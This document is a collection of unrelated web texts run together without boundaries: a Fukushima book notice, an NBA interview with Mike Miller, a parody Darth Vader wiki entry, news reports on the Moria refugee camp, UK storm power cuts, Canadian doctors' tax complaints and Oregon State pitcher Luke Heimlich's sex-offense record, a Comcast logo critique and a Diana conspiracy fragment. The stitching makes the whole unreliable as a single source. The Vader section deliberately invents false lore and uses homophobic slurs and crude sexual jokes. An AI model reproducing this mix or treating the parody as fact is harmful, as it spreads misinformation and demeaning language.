Reflections on the Fukushima Daiichi Nuclear Accident: Toward Social-Scientific Literacy and Engineering Resilience has been published electronically by Springer Link. This book was developed through a collaboration between the University of California Berkeley (UCB) and the University of Tokyo, between social scientists and engineers. Most of the work included in the book was performed after the Fukushima Daiichi Accident in March 2011 and the summer school held at UCB in August 2011.
The content of the book (12,990 KB) is available at no cost in PDF format at on the Springer Link website.
SAN ANTONIO — He is the one-shoed ghost hanging over the NBA Finals, the fan favorite who isn't available this time to help change the tenor of the series. But Mike Miller, who was amnestied in the offseason after winning two championships with Miami, will still let his fandom fly.
"I've had that question asked about a thousand times in the last two weeks," Miller told Bleacher Report by phone Thursday. "I'll definitely watch them. The list of teams that have three-peated is so small. I would love to see them do it."
Miller, who played all 82 games for the Memphis Grizzlies after dealing with an endless spate of injuries with the Heat, watched the entire Eastern Conference Finals from home. And he drove his wife Jennifer and kids a little crazy because he spent most of the games coaching.
"The funny thing about it, is when you've been through it, you know exactly what's going on," Miller said. "It's a completely different scope. I guess it was as fun to watch a series as possible, when you're not playing in it. During every game, I could tell when when Miami was going to take control, because I know those guys so well. I know when they are turning it on, I know when they're into it."
And so, whom does he like in the rematch against the Spurs?
"I've got Miami," Miller said. "I really do."
Noah Graham/Getty Images
He does in part because he believes LeBron James is "scary" but mostly because of "the efficiency of D-Wade. When he is playing efficiently like he is right now, that makes them so difficult to beat."
And he believes that Miami's role players will make shots when necessary.
Still, it's been clear all season how much the Heat fans and players still miss Miller, who averaged 21.8 minutes and made 11 of 18 three-pointers in the 2013 Finals. The happiest the Heat looked all regular season was when Miller returned with the Grizzlies in March. And last month, James revealed to Bleacher Report that Erik Spoelstra had asked him to take more of a leadership role, largely because the team would be torn up about Miller's departure.
"People don't understand how instrumental Mike Miller was to our team...Yeah, he was just that stable guy. I mean, Mike, everything that he went through, both injuries and being in and out of the lineups, and not one day did he ever come to work with an 'I don't want to be here' attitude. Like never. And we all respected that. And for a guy like that who's done so much in his career, to come in with that mindset every day, we all saw that."
Miller's reaction to hearing that?
"It's an unbelievable feeling," Miller said. "When I talk to the kids, to everybody, I tell them, you can have an impact on a team, and the goals of a team, whether you make a shot or not. That's the value of having teams together for a long time, similar to the Spurs. And it was so much fun being part of that team, that made that part of the job easy. The team is as unique as any team you'll ever see, and how they get along, and how well all the pieces fit there. That's a tribute to the stars, and the way they make you feel. And that's why veterans are so important in this league."
Miller didn't stop there.
Joe Murphy/Getty Images
"That's what makes this team, I'm telling you, so amazing," Miller said. "Not just because they are winning championships. Everyone knows that part. But [the bond between teammates is] the reason they can be successful, other than having stars. I feel like, obviously, it's a humbling experience when they say those things about me, and they acted that way when I came back, but I think it would have been that way for anyone."
And he already has plans to see them again soon. Miller is a free agent this offseason, but even if he wanted to, he couldn't return to the Heat—under amnesty rules—until his original contract expires after next season. But if this series goes six games, Miller is planning a Miami trip.
He wants to watch with his kids from the AmericanAirlines Arena crowd, "even though I'll get asked this question again: 'Why aren't you playing for the Heat anymore, Dad?'" Miller said, laughing. "I had to tell them it was trash day, it was Tuesday. They had to take out the trash."
Darth Vader, born Anakin Skywalker and nicknamed Lord Goth Emo II, was noted in the Star Wars universe for his totally kick ass helmet as well as his iron fist leading the big giant broom known as the Empire that swept through the galaxy cleaning up all dust and dirt. Also, he was actually much cooler than his wimpy counter-part, Anakin Skywalker, this was mainly because he liked blowing up stuff, especially planets (plus he was voiced by James Earl Jones). Nobody liked Anakin, anyway. No, seriously, no one. Even Padmé left him for Obi-Wan Kenobi she was so desperate to get away from him. Just ask Olivia if you don't believe me.
Anyway, Darth Vader was born on Tatooine to (surprise, surprise!) Diane Vader and (WTF???) everyone's favorite Supreme Chancellor/Emperor: Palpatine! Yes, that is why they both hated each other. But there were good times, like the time when Palpatine threw Vader against the wall when he...you know, maybe that is not such a good example.
Vader spent his early years with his mama Diane on a Death Star. At 14, Vader got jealous of Darth Malak's jaw thingy, so he dumped Hot oatmeal all over his body, which got himself a whole life-sustaining suit. Amazingly, he would later regret this, as it forced him to leave his mom and move in with his auntie and uncle in Bel-Air become his dad Palpatine's chief homie, which we are sure, must have been pure agony. As an apprentice, he had an encounter with A'Sharad Hett, Vader used a Yo Mama insult that forced young Hett to go into hiding, change his name, and turn to the Dark Side, which just goes to show you that there are worse things than having your planet destroyed and being Palpatine's apprentice.
Vader chopped Obi-Wan Kenobi in half while Kenobi searched the box on Vader's chest, trying to find "Reset."
Believe it or not, Vader and Anakin are not the same person! The mass media just made the connection because Vader wears leather and Anakin...well, funny you should mention him...
Contents show]
Biography Edit
The Early Years Edit
Birth Edit
Diane Vader: "Darth! What kind of stupid name is that? You could have said James or Timothy...but no, you had to go with Darth! What the hell were you thinking!" Palpatine: "Quit nagging me, you old lady, and go get me a beer." — Darth Vader's parents upon his birth
Darth Vader was born James Darth Vader Palpatine to parents Diane and Palpatine on the planet Tatooine. They had to move there because someone (meaning Palpatine, Diane was not stupid enough to do something like this) forgot to pay off their student loans for college. That college being Darthvard, the most expensive college in the whole damn galaxy, Palpatine would have to pay 20,000 credits or terrible things would happen to him. Now we know why Palpatine changed his name so many times.
So the family was on the run. Three years on Tatooine, Diane gave birth to Darth Vader. Well, she gave birth to James Vader (it's on the birth certificate), but Palpatine liked Darth because it was the nickname of the bass string guitar player of his favorite band. This really ticked Diane off, so she underwent some aggressive negotiations with her husband until he agreed to name him James. Thus James Darth Vader Palpatine was born.
"Did anyone ever tell you you're a jerk?" ―Diane Vader, to Palpatine when she saw him getting it on with his apprentice Darth Maul
But it was all to good to last. Diane found out that Palpatine was two-timing her with that horny Iridonian whack job with ADD named Darth Maul. After torturing her husband for most of the day, Diane got bored and kindly divorced him. Then, taking the Death Star and young Darth, she flew off, putting as much distance between her and Palpatine as possible. Henceforth, James Darth Vader Palpatine officially became James Darth Vader after the separation. Diane called him Darth though, not because she wanted to honor her husband, but that bass string player was totally awesome!
With Diane Edit
Darth Vader: "What does folding laundry have to do with being a Sith?" Diane Vader: "Folding laundry builds character!" — Darth Vader and his loving mother, Diane Vader
Darth Vader: "I can't do it mom! I just can't do it!" Diane Vader: "Honey, you can do anything as long as you're good enough, Sith enough, and Holy Sith! Any loser can tie their shoe!" — Diane, giving her son a pep talk on shoe tying
Diane then proceeded to raise her son as the man known to the world. Of course, this was extremely difficult since James Darth Vader was a lazy, whiny douchebag. A lot of the time he would sit in his room and whine, or write letters to his hero, Darth Emo (you should have seen all the posters Vader had of that guy in his room!). He almost never took out the garbage and never folded his long sleeved shirts with the front-back fold the way his mother told him to. Darth Vader is also responsible for nearly destroying Diane's Death Star when he attempted to make chocolate soufflé. On this occasion, Diane wondered whether Shmi Skywalker had it easy after all.
But Vader also had some good points to him. He was a good Sith, although not nearly as good as his mama. He got so good at lightsaber combat that even Palpatine shuddered when his name was mentioned (or maybe he was just looking in the mirror at the time). Of course, he never, not even once beat his mother in all the duels they had. Vader never told anyone this because, you know, most Dark Lords of the Sith do not get beaten by their mothers at lightsaber combat. I am sorry Palpatine , but they do not....
When James Darth Vader was good (very rarely), Diane took him on explosive joyrides, where they would destroy planets, inhabited or not. She always smacked his hand away when he tried to push the shiny red button that doomed millions of people. Because of this, Vader developed a fetish for destroying planets that would last throughout his entire life. And when he was an adult he actually got to press the button!!!
The "Oatmeal Incident" Edit
Diane: "So let me get this straight: You were jealous of Darth Malak's metal jaw so you dumped hot oatmeal all over yourself to get a life-sustaining suit?" : " Vader: "It looked cool in the magazine!" — The "Oatmeal Incident"
When Vader was 14, his mother sent him to prepare oatmeal on the stove. Obviously, she fireproofed the whole Death Star after he burned the soufflé, so there really was not anything to worry about. Or was there?
Everything went well until Vader, bless his little helmet, read a magazine article about how some gaylord now has a metal jaw that made him almost cool. This made Vader so jealous that he immediately grabbed the pot of oatmeal and dumped it all over himself, thinking about how cool it would be to get this suit. Of course, much of the coolness factor vanished when he started screaming in pain, but he was rescued eventually.
Vader: "But I don't want to go, mom!" Diane: "Sweetie, it's okay, you're going to be all right. You're father's a nice man." Vader: "Did I just hear what I thought I heard?" Diane: "Yeah, what the hell was I thinking?" ―Darth Vader and his mother, at Palpatine's waiting room on Coruscant
There was a slight problem: Diane did not have enough money to buy a life-sustaining suit, which was very expensive, she knew. On the other hand, her ex, Palpatine, was loaded after becoming Emperor of the galaxy, so she phoned him up and asked him what he could do.
Meanwhile, at Palpatine's place the dishes were unwashed, there were roaches everywhere, and his underwear was all over the apartment. Not to mention that awful smell that...umm, let us not get into that. Anyway, the place needed some serious cleanage, but Palpy was too lazy to do it. But he could force his son to do so. So he agreed to pay for the suit and yadda, yadda, yadda, Palpatine got a new apprentice: his son, Darth Vader.
Apprenticeship Edit
Palpatine: "Do you have anything that inhibits your Force powers?" : " Vader: "Uhh...well, I do have CDO." Palpatine: "CDO?" Vader: "Yeah, CDO. It's like OCD, but with the letters arranged in alphabetical order, the way they're supposed to be." ―Palpatine and his apprentice, during an interview
Diane dragged her son to Palpatine's office on Coruscant, where Vader obviously was accepted as an apprentice, because no one in there right mind would clean Palpatine's apartment, especially his toilet (the horror!). To keep Vader happy, he gave him his own Death Star and his own crew to destroy planets with, but that was really just show.
About six months later, the Rebel scum, a bunch of pubescent geeks with anger management issues, started posting flyers on trees against the Galactic Empire. Palpatine asked them nicely to stop, he even gave them some of his best stormtroopers for target practice, but they still held firm. Palpatine, very much annoyed at this time, sent Vader out to destroy the Rebel Alliance and melt their outdated X-wing fighters into a Death Star shopping mall. Obeying his master's orders, Vader devised many strategies to bring down the Rebel scum.
Trying to find the rebels Edit
"Lord Vader! Are you here to save me? Wait.... why do you look like a Rebel?" ―A stupid Stormtrooper
Searching the galaxy in an attempt to find and kill all rebels, Vader eventually came up with his famous "disguise-yourself-as-a-Rebel" method. You have probably already guessed what that means, but I am going to explain it anyway.
One day Darth Vader disguised himself as a Rebel named darth vader and tried to find their base, but he failed. He was able to convince a few Rebels he was one of them but a Stormtrooper, who was captured by the Rebels, recognized his boss and asked him if he was there to save him. When the Rebels realized that darth vader was actually Darth Vader they fled. Vader then killed the stormtrooper.
Subsequent to this he went on a murderous rampage through multiple galaxies until he finally returned to Coruscant for some tea with Palpatine. There he unexpectedly met Jax Pavan 117 and lost so miserably the battle came to be known as the Very Forgettable Battle that No One Wants to Hear About. He also had troubles walking and sitting properly for several months afterwards.
Vader's Death Edit
Vader died to save Lukey, the whiny son of his whiny counterpart, from his own daddy, alias InSidious Darth Sidious the Hideous (Insert Rimshot) . You see, Darth Vader was not in the room at the time. He was actually taking a shower (how, I do not know), only to discover that Palpatine used up all the hot water. Jerk! After taking a very cold shower, Vader got upset and walked into the room to complain to Darth Sidious.
To his surprise, Darth S. was tazing Luke and was saying cruel "Yo Mama" jokes at him, not aware of his twin brother Darth Voldemort right behind him. This made Luke cry. Vader really had not had much contact with Luke, but on one unforgettable occasion the king of the pubescent geeks gave him an Arby's coupon for a free meal. Of course, he shared it with a friend before they got back to the Death Star and...we really do not have to go into this. But Vader was able to feel some sympathy for Luke. Plus he had a mother who was H-O-T with a capital 'H'. Vader could still remember the time when the two...again, we really do not have to go into this. So Vader started getting angry because the Yo Mama jokes were just unfair! Could not Palpatine think of the time when he and Padmé went to the Nabooboo Politician's Conventions together and they...gee, that girl gets around! Finally, he could not take it anymore. After a particularly bitchy line from Darth S., Vader took a huge electromagnet and said:
"You're dissing my girlfriend, well, say 'Hello', to my little electromagnet friend." ―Vader
Unfortunately, he forgot he was mostly made of metal and while Darth Sidious and his bro Voldemort were getting shocked by their own lightning, Vader was getting sucked into the magnet. Luke then turned off the magnet to see Darth Vader a mere cube of metal with a head on top. This made Luke cry.
Revival and subsequent marriage Edit
Upon Vader's death, many fanboys got angry that their favorite badass was gone forever. They therefore prayed to Kyle Katarn to revive Darth Vader. Katarn refused to do it unless exactly one million fans prayed to him (since Darths are bad and all...), but after the one millionth fan, Lord Darth Evil Colossal Nightmare Devastator Obliterator Rex, called out, Katarn decided to repair Vader's injuries and bring the Sith Lord back to life. Shortly afterwards, SuperShadow, unaware of Vader's revival, prayed as well. Upon hearing SuperShadow, Katarn almost killed Vader once again until the Dark Lord promptly disposed of SS. Yay!
Vader was later force tricked by Japanese Bamco executives to appear in their video gayme Soulcalibur IV: Super Ultra Battle Duel Fight Legend of Soul Calibur Ultra Final Battle Duel Fight!!, Vader was very, very pissed and almost killed the entire evil Bamco Corporation until he found a gorgeous, busty blonde who was even hotter than Padmé! He eventually married the girl, Sophitia, and had kids with her. However, the media will tell you that Vader/Anakin actually became gay ever since Padmé died, and Sophitia married some loser blacksmith that nobody cares about.
LIFE DURING THE Expentantiousespelliandousiscandianulous Era
Like anyone, life was hard during the Expentantiousespelliandousiscandianulous Era. This Era was known for the birth of Darth Maul Jr. VI. Darth Sexbag was also ruling with an iron fist during this Era. Vader had hit rock bottom and was looking for a job. He ended up working at Pizza the Hutt's for over 5 years. He started a business called Wheat Thins in the year 1346 GAY. This brought him off of his feet and ended up winning him over 4,000,000 Chuck-E-Cheese Tokens.
Personality and traits Edit
Vader had a penchant for blowing up planets[1] and enjoyed long walks in the parks of Imperialized planets. He was attracted to Yoda and liked to Force fondle women's rears from an observable distance while pining over that one chick that couldn't even handle a wimpy version of the Force Choke. Vader also frequently took pleasure from interrupting HoloNet conference calls and harassing those in attendance.
Behind the scenes Edit
Darth Vader was voiced by none other than James. Earl. Frakking. Jones (also known as the announcer for Yipee! News). The actor in the suit was one of those bodybuilder types who always gets the non-speaking roles. For lesser roles, such as the aforementioned badly-dubbed Japanese fighting game with an overly long Engrish name, Darth's own brother Chad Vader supplies his voice. Which is kind of a paradox, I suppose, since Chad is in the same universe and all... best not to think about it.
General consensus holds that Vader is the most badass mother fracker in the history of the universe, even after his NOOOOOOOOO! incident and the other damage done to his reputation by Anakin Skywalker and the mainstream media.
Wookiepedia doesn't want Vader to have his own page anymore. The Dark Lord has yet to PWN the Wookiepedians responsible for this, but for now, he just uses Darthipedia instead because it's more evil and suits him better.
See also Edit
References Edit
Thirty-three-year-old Shakoor is standing in the Moria refugee camp on the Greek island of Lesbos and pointing at the overcrowded plastic tents inside of which women, children and the ill are lying pushed up against one another, at the cement wall that surrounds the camp, and at the barbed wire. "I would have expected these kinds of conditions in Pakistan or Afghanistan," he says. "But not in Greece."
As a result of the refugee influx, the infrastructure on Lesbos and other Greek islands is in danger of collapsing. Europe's model is no longer working. Although the number of migrants dropped after the EU-Turkey deal came into effect in March, the number of refugees heading for Greece has once again gone up, partially in response to the failed military coup in Turkey on June 15. In August and September, 6,527 refugees crossed the Aegean, twice as many as in May and June. The crisis in Turkey, it seems, isn't just scaring many Turks, it is also driving refugees out of the country.
Currently, there are at least 15,000 migrants on the Greek islands, with the camps available only able to handle half that many. And new boats arrive every day. Skirmishes between camp residents -- and between refugees and locals -- have become a frequent occurrence.
The Greek government is facing a dilemma, says political advisor Gerald Knaus, whose think tank, the European Stability Initiative, helped conceive the EU-Turkey deal. The Greeks, he says, can no longer ignore the chaos on the islands.
'Dead in a Few Months'
If Prime Minister Alexis Tsipras carries through on his recent pledge to move large numbers of refugees onto the mainland, it would be a signal to the smugglers in Turkey that the Aegean Route has reopened. "If the EU doesn't do anything quickly," Knaus warns, "the refugee deal will be dead in a few months."
Darkness falls over Moria. Abdul Kapoor is sitting in friends' shack and pointing to a cell-phone photo of burning tents. In late September, refugees in Moria set a fire out of frustration at the conditions in the camp. Shakoor is expecting further conflicts. "The people are desperate," he says.
He says that he grew up in an affluent family in Pakistan. He father owned land, and Shakoor ran a restaurant and became involved politics. After he switched from the governing party, the Muslim League, to the opposition, his former party allies threatened him with death. He sat in jail for three months in Lahore, was beaten up, tortured with iron rods and given electric shocks. His body is covered in scars and burn wounds. Shakoor has a wife and five children in Pakistan and has chosen a pseudonym for this article out of fear for their safety. He fled to Iran and then to Turkey and Greece. He has been stuck in Moria since March.
According to the agreement, migrants should actually be held in the Greek island camps, registered and then sent back to Turkey after accelerated proceedings. Greek authorities, however, have not acceded to Brussels' demand to recognize Turkey as a "safe country of origin." Instead, they are examining each case individually to determine if the applicant has the right to protection in Europe.
In the wake of the EU-Turkey deal, Greece has only deported 643 migrants, including 53 Syrians who returned to Turkey voluntarily. In September, more refugees reached the Greek Islands every day than migrants left the country in the entire month.
Stuck in Moria
The Greek authorities are overwhelmed by the situation. On Lesbos, nine officers have been charged with making decisions about the applications of 6,000 refugees. One of those officers was briefly hospitalized for burn-out. Several months ago, the EU announced it was sending hundreds of asylum experts to Greece but so far, according to the Greek government, only three-dozen officials have arrived on the islands.
In his Lesbos office, lawyer Emmanouil Chatzichalkias is leafing through the files of refugees who have been stuck in Moria for several months. He says that nobody knows when their applications will be evaluated -- whether it will be a week, a month or a year.
He represents a woman with five children from Afghanistan who arrived on Lesbos in April, but weren't registered by the authorities until early October. Now the mother needs to wait another half-year for her hearing. According to the United Nations High Commissioner for Refugees (UNHCR), fewer than 5 percent of the applications submitted by Afghans and Iraqis have been processed since April. For weeks, the authorities refused to allow a Pakistani who had a heart attack and couldn't be treated on Lesbos to leave. "Lesbos has turned into a prison," says Chatzichalkias.
But why has the number of refugees been rising significantly in the last few months? The reason can be found on the other side of the Aegean, in Turkey.
In a stuffy, neon-lit hotel room in Izmir, a port city in southwestern Turkey, Ziad Zamriq, 33, is waiting for a smuggling boat to take him and his wife to Greece. Sitting next to each other on the bed, Zamriq is holding his wife's hand. "If we had an alternative, we wouldn't be getting onto the boat," he says.
When Zamriq arrived in Istanbul in the summer of 2014 after escaping from Syria, he thought he had arrived at his destination. He found a job in a souvenir shop and rented an apartment on the edge of the city. Zamriq, who had worked as a tourist guide in Damascus, wanted to stay in Turkey.
Post-Coup Turkey
Even prior to July 15, refugees had trouble earning enough money to make ends meet in Turkey. Although more than 2.7 million people have found refuge in Turkey since the beginning of the civil war in Syria, more than in any other country, most of them live in the big cities, like Istanbul or Ankara, without any kind of support from the government.
Since the attempted coup, Zamriq says, it has become almost impossible for migrants to find jobs. Tourism has collapsed and the economy is stagnating -- and Zamriq lost his job in the souvenir store. He initially got by with odd jobs in construction, factories or restaurants but his wages still weren't enough to pay his rent.
In early July, Turkish President Recep Tayyip Erdogan held out the prospect of Turkish citizenship for Syrians. But Zamriq says that he hasn't even been able to register as a refugee. At his last appointment at the office for foreigners in Istanbul in August, he was told that Syrians are categorically no longer being given papers. Two friends of his, he says, were recently deported back to Syria -- together with two dozen other refugees.
UNHCR's European head, Vincent Cochetel, has said that even the few Syrians who voluntarily returned to Turkey from Greece have so far not received any titles of protection, despite the fact that Turkey had agreed to do so as part of the deal. The refugees are housed in camps to which UNHCR representatives haven't had access since the coup attempt. That situation in turn supports the decision of the Greek authorities not to view Turkey as a safe third-country. The Center for Political Beauty, an artist collective that wanted to fly refugees from Turkey to Germany, has now filed a lawsuit in Berlin against the EU-Turkey deal.
Ziad Zamriq walks through the neighborhood surrounding Izmir's train station, past clothing stores in which life vests are on display. He has an appointment with a smuggler, a middle-aged Syrian who introduces himself as Abu Ali. Before April, he says, he smuggled people to Greece for 700 euros per person. Since the EU-Turkey deal, fewer refugees have dared to make the journey and he has dropped his prices by half. Abu Ali is hoping that business will pick up again soon, though. Since July 15, inspections carried out by the Turkish coast guard have become less frequent.
'The End of European Asylum Policy'
The hunt for supporters of the coup has partly paralyzed Turkey's state apparatus. Erdogan has suspended several thousand police and military officials. At the same time, the war against the PKK, the Kurdish terror group, and the military operation in Syria are tying up troops. "At the moment we have more pressing concerns than policing our borders," an official says.
And so a storm is brewing. The neglected inspections, the economic pressure on the refugees in Turkey, the powerlessness of the Greek authorities and the overfilled refugee camps -- this all together is increasing the pressure on the refugee deal. President Erdogan is also threatening to scuttle the deal over the issue of visa-requirements for Turks.
Appearing before the Commons energy committee on Tuesday, bosses of the UK's energy distribution firms defended the length of time it took to restore power to homes.
Basil Scarsella, chief executive of UK Power Networks, told MPs the combination of the storms' severity and their national reach meant "tried and tested" plans struggled to cope.
He said: "We have a tried and tested system that comes into play when there's an emergency such as that. You're correct: we knew that there were storms. We have a methodology that estimates the damage expected on the network based on the wind speeds.
"But the wind speed and the weather forecast escalated significantly on the Sunday and went from 40-50mph winds on the Friday to 50-60mph for our area, and escalated to 70-80mph on the Sunday.
"But notwithstanding that, we managed, on the Monday when it hit, to have all our workforce pretty much on deck, and our estimation of the damage was pretty accurate.
"What we did not estimate accurately was the duration of strong winds, which resulted in significantly more severe damage."
He added: "The other issue was that this was a national storm and it lasted over two or three days. There is a well-tested mutual aid system, which enables any of us to call on our colleagues to send additional resources. But because of the severity of the storm and the national nature of the storm, we were not able to provide additional resources to other networks or indeed receive additional resources."
More than 150,000 homes were cut off after strong winds, torrential rain and flooding caused damage to power networks, and many were left without electricity for up to five days.
Tim Yeo, the committee chairman, lambasted the bosses for failing to show "any expression of real concern for your customers".
He said: "I have to say, after 45 minutes, the tone of this discussion and its contents has been utter complacency from all of you. The trade body can't provide the most basic information on a totally predictable question.
"You have lacked any expression of real concern for your customers. It's absolutely typical of a monopoly, particularly monopolies whose charges are not very visible to the customers who have to pay them."
Yeo warned the witnesses to "step your act up" if they wanted to impress the committee.
Mark Mathieson, managing director of SSE's electricity networks, told the committee: "It was just the impact of the event. It was a massive event. Certainly, we haven't seen damage like this in the south [since] the early 90s and even … the great storm of 1987.
"I think the one thing I would say – and I've been in this industry for 25 years – we as an industry clean these events up much quicker than we used to.
"But we also recognise the impact that has on customers. We are sorry, and I did go out to communicate with customers that we were sorry that they were off.
"To get to the area and fix faults, in some circumstances when you've got damage like that, when you've got devastation like that, it unfortunately takes time. But that's where we go the extra mile. I know it's not the same as being at home with the power on, but we were offering accommodation and hot meals."
This month the energy secretary, Ed Davey, said the government was looking to introduce a single emergency number that people could call irrespective of where they live to report power cuts.
David Smith, chief executive of the Energy Networks Association, told the committee that planning for the 999-style emergency number to deal with such situations was in its early stages.
He said: "There are some technicalities around it. We need to work those through. We are doing those now. We have got a piece of work ongoing and we are delivering that within the next month."
Yeo concluded the session by saying: "I've heard nothing at all this morning which reassures me that you are taking this problem seriously enough to deal with the concerns of millions of your customers. There is no sense of urgency in what you said about any plans to step up your capacity to respond to severe weather even though we now have quite clear warnings that extreme events are likely to take place more frequently in future.
"You have managed to make the secretary of state look ridiculous in his claim that there is going to be a three-digit number that customers can use. You've failed to demonstrate, in my view, adequate concern for the plight of your customers. That's characteristic of monopolies whose activities are not very effectively scrutinised by anybody until now. And frankly, if your customers had the capacity or the freedom to switch to an alternative distributor I am sure that millions of them would be doing so as we speak.
Both the New Brunswick Medical Society (NBMS) and other regional health organizations in the province have issued statements in the past week condemning the proposed changes which are set to target small business owners across the country.
“Most doctors in New Brunswick and in the rest of Canada rely on legitimate tax measures to operate viable medical practices,” Dr. Lynn Murphy-Kaulbeck, the president of the NBMS, told Global News.
“We are all here because we want to be but if the tax changes come there will be huge losses for health care delivery in the province.”
According to the New Brunswick Medical Society, 70 per cent of doctors in the province are incorporated as small business owners.
READ MORE: Farmers, doctors lead blowback against proposed tax changes
Survey results
Two separate surveys conducted by the NBMS and Tax Fairness New Brunswick, a coalition of groups pushing back against the federal government’s tax changes, hint at a large number of doctors opposing the new tax changes.
A survey by Tax Fairness New Brunswick that was answered by 10 per cent of the province’s doctors indicates 65 per cent would consider leaving the province if the changes were to come into effect.
Over 80 per cent of respondents to the survey say they’d have to alter or reduce their hours due to the changes.
Another survey, this one carried out by NBMS, found that out of 500 doctors in the province, 46 per cent would consider leaving the province and taking their practice with them if the tax changes came into effect.
A quarter of the doctors from the survey said they’d consider retiring from the medical profession altogether.
WATCH: Federal tax changes could be ‘catastrophic’ for Nova Scotia doctors
Proposed changes
The changes announced in July would, according to Finance Minister Bill Morneau, close loopholes in the federal tax system that disproportionately benefit wealthy Canadians.
The tax-dodging manoeuvres that Morneau said the changes would get rid of involve so-called “tax-sprinkling” or using a private corporation to spread income among family members to create tax savings, using private corporations as a substitute for a regular savings account or converting a private corporation’s regular income into capital gains, both of which can shelter money from higher tax rates.
But doctors in both New Brunswick and neighbouring Nova Scotia disagree. They’re already among the lowest-paid doctors in the country.
They say that they won’t be able to increase their fees, which are set by their respective provincial governments, leaving them with less money after taxes for things such as parental leave or paying off student loans.
Dr. Paul Young, a doctor in Bedford, N.S., told Global News in August that the tax changes could end up costing him $2,000 a month in income, enough to make him reconsider practicing in the province.
“At the end of the day, physicians are either not going to be able to come to Nova Scotia or they’re going to leave because they’re not going to be able to practice here,” said Young.
The public has a chance to weigh in on the tax proposals until Oct. 2, as part of a 75-day public consultation process.
It’s expected the minister will introduce legislation addressing the tax changes next spring.
— With files from Monique Scotti
Oregon State, the No. 1-ranked team in college baseball, was hit with a bombshell as it tries to play its way to the College World Series: Luke Heimlich, the team’s ace pitcher, is a registered sex offender.
According to documents unearthed by The Oregonian, Heimlich was 15 years old when he pleaded guilty to molesting a 6-year-old female family member. As the law requires, Heimlich registered as a sex offender when he enrolled at Oregon State in 2014, but he recently let that lapse. A routine sex-offender sweep led to Benton County sheriff’s office finding and citing Heimlich in April.
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Now 21, Heimlich is considered a top prospect in next week’s MLB draft. On the field, he had an 11-1 record with a 0.75 ERA this season for the Beavers, who play Vanderbilt in the NCAA Super Regionals beginning Friday night. Oregon State went 52-4 this season en route to its No. 1 overall ranking. The Beavers haven’t yet announced their pitching plans for the series, but according to Danny Moran of The Oregonian, Heimlich could pitch.
The Oregonian talked to the mother of the victim in Heimlich’s case, who said:
“I’m appalled that the college he’s going to would even have him on their team,” she said.
Baseball America has Heimlich, a junior, ranked as No. 43 overall in this year’s draft class. But that could change before Monday’s draft. In fact, Yahoo Sports’ Jeff Passan says three MLB teams aren’t even considering Heimlich now.
Spoke with three teams today already that completely took him off their draft boards. https://t.co/VPIZJiST4l — Jeff Passan (@JeffPassan) June 8, 2017
Story continues
Heimlich, baseball coach Pat Casey and athletics director Scott Barnes all refused to comment to The Oregonian. But after the story hit, Oregon State University president issued a statement saying:
“I find this account disturbing and want to let you know that OSU does not condone the conduct as reported. But we also understand that this case involves a criminal matter that was previously addressed by the judicial system in the state of Washington.
We take this issue very seriously, and I want to be clear that each day the safety and security of our students, faculty and staff is Oregon State University’s number one priority. Our policies and procedures seek to provide a safe learning environment for our entire community and to ensure that all prospective and current students are treated fairly and equitably.
By university policy, all OSU students – including student-athletes – are subject to the same academic criteria, admissions standards, codes of conduct and community standards while applying to and attending the university. OSU follows U.S. Department of Education recommendations that universities not allow a person’s criminal history to affect disproportionately a student’s access to higher education and opportunity for a better life.”
Heimlich was initially charged with two counts of felony molestation but plea bargained down to one count. According to court documents, the abuse occurred between September 2009 and 2010 and again between September-December 2011. The first time, the victim was 4 years old. The second time, she was 6. The girl told investigators that Heimlich “touched her on both the inside and outside of the spot she uses to go to the bathroom.” As part of his plea, he admitted to the molestation.
Here’s more from The Oregonian:
Heimlich entered a diversion program, received two years of probation and was ordered to attend sex offender treatment for two years, according to court records. He was sentenced to 40 weeks of detention at Washington’s Juvenile Rehabilitation authority. But that sentence was suspended and he served no time, according to court records, because he successfully completed probation.
Heimlich was ordered to register as a Level 1 sex offender in Washington beginning Aug. 27, 2012. Washington characterizes Level 1 offenders as having “the lowest possible risk to the community and their likelihood to re-offend is considered minimal.”
Heimlich finished probation and the court-ordered classes in September 2014, about the same time he moved to Corvallis to join Oregon State’s baseball team.
The NCAA has no national policy on whether juveniles who committed felonies can play sports.
Mike Oz is the editor of Big League Stew on Yahoo Sports. Have a tip? Email him at mikeozstew@yahoo.com or follow him on Twitter!
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Reviewed Dec. 11, 2012 by Armin Industry / Corporate
Established in 1963, Comcast is a global media and technology company and it operates two main businesses. The first, and what most people associate the company with, Comcast Cable — although it’s not called Comcast Cable, but Xfinity — which is the the largest video, high-speed Internet and phone provider for residential and business use in the U.S. with a combined 50.8 million customers. Under the Comcast name there is also venture capital firm Comcast Ventures and sports and entertainment company Comcast-Spectacor. The other primary business is NBCUniversal, only one of the world’s leading media and entertainment companies that manages the namesake television network and movie production company, as well as specialty channels like USA Network, Syfy, E!, CNBC, MSNBC, Bravo, and more. In other words, Comcast is huge and influential. Yesterday, without any fanfare or release, Comcast flipped the switch on a fancy new website that features a new corporate logo.
In an extremely surprising move, Comcast has adopted the NBC peacock as its own logo. This is mind-blowing for a number of reasons. (1) When NBCUniversal redesigned, the decision was made that this corporate mark should have neither the peacock nor Universal’s globe; a decision I commended and still do; and now you have a corporate name that doesn’t even include the word NBC and there, like a crown, it sits on top of Comcast. It’s impossible to look at the peacock and NOT think NBC, forcing you to read the logo as NBCComcast. (2) Moving the peacock into corporate territory where it now becomes an ambassador for a technician making you wait at home for a window of 4 hours to repair your cable or internet connection is absolutely counterproductive: The NBC peacock logo should stand for television entertainment alone and focus on elbowing its way back into its equally iconic networks logos and their ongoing rivalries. Diluting that brand — which stands for Today, the Olympics coverage, The Voice (hey, I don’t make the ratings), Parks and Recreation and all the way back to Seinfeld and Friends — in favor of corporate appearances feels like a mistake. And (3) just look at the Comcast logo and name line-up below: This is one of the most confusing brand architectures where names and logos are crudely interchangeable — it makes Mr. Potato Head look organized.
On the logo itself… Well, it’s not terrible. There is the NBC logo, which is nice, we all know that, and in relationship to the name, it’s just the right size. The wordmark follows on the footsteps of NBCUniversal (which is half serif and half sans serif) by being half hard-edged in its terminals and half rounded (i.e., the “C” starts rounded but ends flat). It’s a weird thing to do, as it creates an uneven visual effect once you notice it. Conceptually, I can see how it might represent the two aspects of its business, but visually it’s just odd and looks unfinished.
Overall, a head-scratcher. A real head-scratcher.
But police seem to be knocking down claim that commandos were involved in Diana's death
Allegation emerged amid collapse of soldier's marriage
London police stress they are not re-investigating, merely assessing credibility
A newly revealed claim of conspiracy in the death of Princess Diana has royal watchers buzzing once again, nearly 16 years after the woman who would now be a royal grandmother died in a Paris car crash.
